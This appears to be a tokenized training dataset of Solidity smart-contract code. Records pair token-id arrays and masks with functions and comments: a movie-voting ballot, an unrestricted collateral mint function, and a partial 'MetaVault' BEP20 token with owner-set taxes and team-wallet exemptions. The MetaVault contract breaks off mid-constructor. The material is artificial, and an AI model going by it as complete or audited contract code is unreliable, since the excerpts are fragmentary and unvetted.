[ 1, 16351, 3035, 15326, 353, 14223, 6914, 10784, 429, 288, 203, 565, 2254, 2313, 1071, 1241, 14667, 8541, 31, 203, 203, 565, 2254, 2313, 1071, 24165, 14667, 8541, 31, 203, 203, 565, 2254, 2313, 1071, 598, 9446, 14667, 8541, 31, 203, 203, 565, 2254, 2313, 1071, 283, 24903, 14667, 8541, 31, 203, 203, 565, 2254, 28, 1071, 31650, 774, 17631, 1060, 8541, 31, 203, 203, 565, 2254, 2313, 1071, 366, 369, 80, 1190, 9446, 14667, 8541, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 565, 1958, 17547, 288, 203, 3639, 2254, 28, 11622, 31, 203, 3639, 1758, 358, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 565, 17547, 8526, 1071, 14036, 9003, 31, 203, 565, 17547, 8526, 1071, 31650, 9003, 31, 203, 565, 17547, 8526, 1071, 366, 369, 80, 1190, 9446, 14667, 9003, 31, 203, 565, 2254, 5034, 1071, 14036, 9003, 1782, 31, 203, 565, 2254, 5034, 1071, 31650, 9003, 1782, 31, 203, 565, 2254, 5034, 1071, 366, 369, 80, 1190, 9446, 14667, 9003, 1782, 31, 203, 565, 871, 3841, 14667, 8541, 5033, 12, 11890, 2313, 1592, 1622, 14667, 8541, 16, 2254, 2313, 24086, 14667, 8541, 1769, 203, 565, 871, 1312, 20603, 14667, 8541, 5033, 12, 11890, 2313, 1592, 424, 20603, 14667, 8541, 16, 2254, 2313, 394, 424, 20603, 14667, 8541, 1769, 203, 565, 871, 3423, 9446, 14667, 8541, 5033, 12, 11890, 2313, 1592, 1190, 9446, 14667, 8541, 16, 2254, 2313, 394, 1190, 9446, 14667, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.5; contract MovieBallot { struct Candidate { string name; uint votecount; } struct Voter { bool voted; } Candidate[] public candidates; mapping(address => Voter) public voters; constructor() public { candidates.push(Candidate({ name : "hai wang", votecount : 0 })); candidates.push(Candidate({ name : "long mao", votecount : 0 })); candidates.push(Candidate({ name : "du ye", votecount : 0 })); candidates.push(Candidate({ name : "wang luo mi zong", votecount : 0 })); } function voteCandidate(uint8 index) public { // if (voters[msg.sender].voted) { // return; // } else { // candidates[index].votecount +=1; // voters[msg.sender].voted = true; // } require(!voters[msg.sender].voted, "have voted!"); candidates[index].votecount +=1; voters[msg.sender].voted = true; } function isVoted () public view returns (bool) { return voters[msg.sender].voted; } function getCondidate (uint8 index) public view returns (string memory) { return candidates[index].name; } function getCount(uint8 index) public view returns (uint) { return candidates[index].votecount; } }
if (voters[msg.sender].voted) { return; } else { candidates[index].votecount +=1; voters[msg.sender].voted = true; }
function voteCandidate(uint8 index) public { require(!voters[msg.sender].voted, "have voted!"); candidates[index].votecount +=1; voters[msg.sender].voted = true; }
14,052,251
[ 1, 430, 261, 90, 352, 414, 63, 3576, 18, 15330, 8009, 90, 16474, 13, 288, 377, 327, 31, 289, 469, 288, 377, 7965, 63, 1615, 8009, 90, 352, 557, 592, 1011, 21, 31, 377, 331, 352, 414, 63, 3576, 18, 15330, 8009, 90, 16474, 273, 638, 31, 289, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12501, 11910, 12, 11890, 28, 770, 13, 1071, 288, 203, 540, 203, 3639, 2583, 12, 5, 90, 352, 414, 63, 3576, 18, 15330, 8009, 90, 16474, 16, 315, 21516, 331, 16474, 4442, 1769, 203, 3639, 7965, 63, 1615, 8009, 90, 352, 557, 592, 1011, 21, 31, 203, 3639, 331, 352, 414, 63, 3576, 18, 15330, 8009, 90, 16474, 273, 638, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/100/0x6bE718C566d5D25D350F72fFbcb01fAd46675C97/sources/github/ice09/circles-contracts/contracts/GroupCurrencyToken.sol
Group currently is created from collateral tokens, which have to be transferred to this Token before. Note: This function is not restricted, so anybody can mint with the collateral Token! The function call must be transactional to be safe. Check status
function mint(address[] calldata _collateral, uint256[] calldata _amount) public returns (uint256) { require(!suspended, "Minting has been suspended."); if (onlyOwnerCanMint) { require(msg.sender == owner, "Only owner can mint."); require(HubI(hub).limits(address(this), msg.sender) > 0, "GCT does not trust sender."); } uint mintedAmount = 0; for (uint i = 0; i < _collateral.length; i++) { mintedAmount += _mintGroupCurrencyTokenForCollateral(_collateral[i], _amount[i]); } return mintedAmount; }
14,286,538
[ 1, 1114, 4551, 353, 2522, 628, 4508, 2045, 287, 2430, 16, 1492, 1240, 358, 506, 906, 4193, 358, 333, 3155, 1865, 18, 3609, 30, 1220, 445, 353, 486, 15693, 16, 1427, 1281, 3432, 848, 312, 474, 598, 326, 4508, 2045, 287, 3155, 5, 1021, 445, 745, 1297, 506, 25078, 358, 506, 4183, 18, 2073, 1267, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 2867, 8526, 745, 892, 389, 12910, 2045, 287, 16, 2254, 5034, 8526, 745, 892, 389, 8949, 13, 1071, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 5, 87, 22942, 16, 315, 49, 474, 310, 711, 2118, 21850, 1199, 1769, 203, 3639, 309, 261, 3700, 5541, 2568, 49, 474, 13, 288, 203, 5411, 2583, 12, 3576, 18, 15330, 422, 3410, 16, 315, 3386, 3410, 848, 312, 474, 1199, 1769, 203, 5411, 2583, 12, 8182, 45, 12, 14986, 2934, 14270, 12, 2867, 12, 2211, 3631, 1234, 18, 15330, 13, 405, 374, 16, 315, 43, 1268, 1552, 486, 10267, 5793, 1199, 1769, 203, 3639, 289, 203, 3639, 2254, 312, 474, 329, 6275, 273, 374, 31, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 389, 12910, 2045, 287, 18, 2469, 31, 277, 27245, 288, 203, 5411, 312, 474, 329, 6275, 1011, 389, 81, 474, 1114, 7623, 1345, 1290, 13535, 2045, 287, 24899, 12910, 2045, 287, 63, 77, 6487, 389, 8949, 63, 77, 19226, 203, 3639, 289, 203, 3639, 327, 312, 474, 329, 6275, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IuniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IuniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IuniswapV2Router01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IuniswapV2Router02 is IuniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } //MetaVault Contract ///////////// contract MetaVault is IBEP20, Ownable { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _buyLock; EnumerableSet.AddressSet private _excluded; EnumerableSet.AddressSet private _excludedFromBuyLock; EnumerableSet.AddressSet private _excludedFromStaking; //Token Info string private constant _name = 'MetaVault'; string private constant _symbol = '$MVT'; uint8 private constant _decimals = 9; uint256 public constant InitialSupply= 1000000000000 * 10**_decimals;//equals 1 000 000 000 000 tokens //Divider for the MaxBalance based on circulating Supply (1%) uint8 public constant BalanceLimitDivider=100; //Divider for sellLimit based on circulating Supply (0.1%) uint16 public constant SellLimitDivider=1000; //Buyers get locked for MaxBuyLockTime (put in seconds, works better especially if changing later) so they can't buy repeatedly uint16 public constant MaxBuyLockTime= 30; //The time Liquidity gets locked at start and prolonged once it gets released uint256 private constant DefaultLiquidityLockTime= 1800; //DevWallets address public TeamWallet=payable(0x65a89aB0402596cbDbF779dD8455B821109B6F14); address public LoanWallet=payable(0x60296fc78fcAc8937693EE0Cd6428A9324eD52Bd); //TestNet //address private constant uniswapV2Router=0xE592427A0AEce92De3Edee1F18E0157C05861564; //MainNet address private constant uniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //variables that track balanceLimit and sellLimit, //can be updated based on circulating supply and Sell- and BalanceLimitDividers uint256 private _circulatingSupply =InitialSupply; uint256 public balanceLimit = _circulatingSupply; uint256 public sellLimit = _circulatingSupply; uint256 private antiWhale = 1000000000 * 10**_decimals; //Tracks the current Taxes, different Taxes can be applied for buy/sell/transfer uint8 private _buyTax; uint8 private _sellTax; uint8 private _transferTax; uint8 private _burnTax; uint8 private _liquidityTax; uint8 private _stakingTax; //Tracks the current contract sell amount. (Not users) -- Can be updated by owner after launch to prevent massive contract sells. uint256 private _setSellAmount = 1000000000 * 10**_decimals; address private _uniswapV2PairAddress; IuniswapV2Router02 private _uniswapV2Router; //Checks if address is in Team, is needed to give Team access even if contract is renounced //Team doesn't have access to critical Functions that could turn this into a Rugpull(Exept liquidity unlocks) function _isTeam(address addr) private view returns (bool){ return addr==owner()||addr==TeamWallet||addr==LoanWallet; } //Constructor/////////// constructor () { //contract creator gets 90% of the token to create LP-Pair uint256 deployerBalance=_circulatingSupply; _balances[msg.sender] = deployerBalance; emit Transfer(address(0), msg.sender, deployerBalance); // uniswapV2 Router _uniswapV2Router = IuniswapV2Router02(uniswapV2Router); //Creates a uniswapV2 Pair _uniswapV2PairAddress = IuniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); //Sets Buy/Sell limits balanceLimit=InitialSupply/BalanceLimitDivider; sellLimit=InitialSupply/SellLimitDivider; //Sets buyLockTime buyLockTime=30; //Set Starting Tax _buyTax=10; _sellTax=10; _transferTax=10; _burnTax=0; _liquidityTax=20; _stakingTax=80; //Team wallets and deployer are excluded from Taxes _excluded.add(TeamWallet); _excluded.add(LoanWallet); _excluded.add(msg.sender); //excludes uniswapV2 Router, pair, contract and burn address from staking 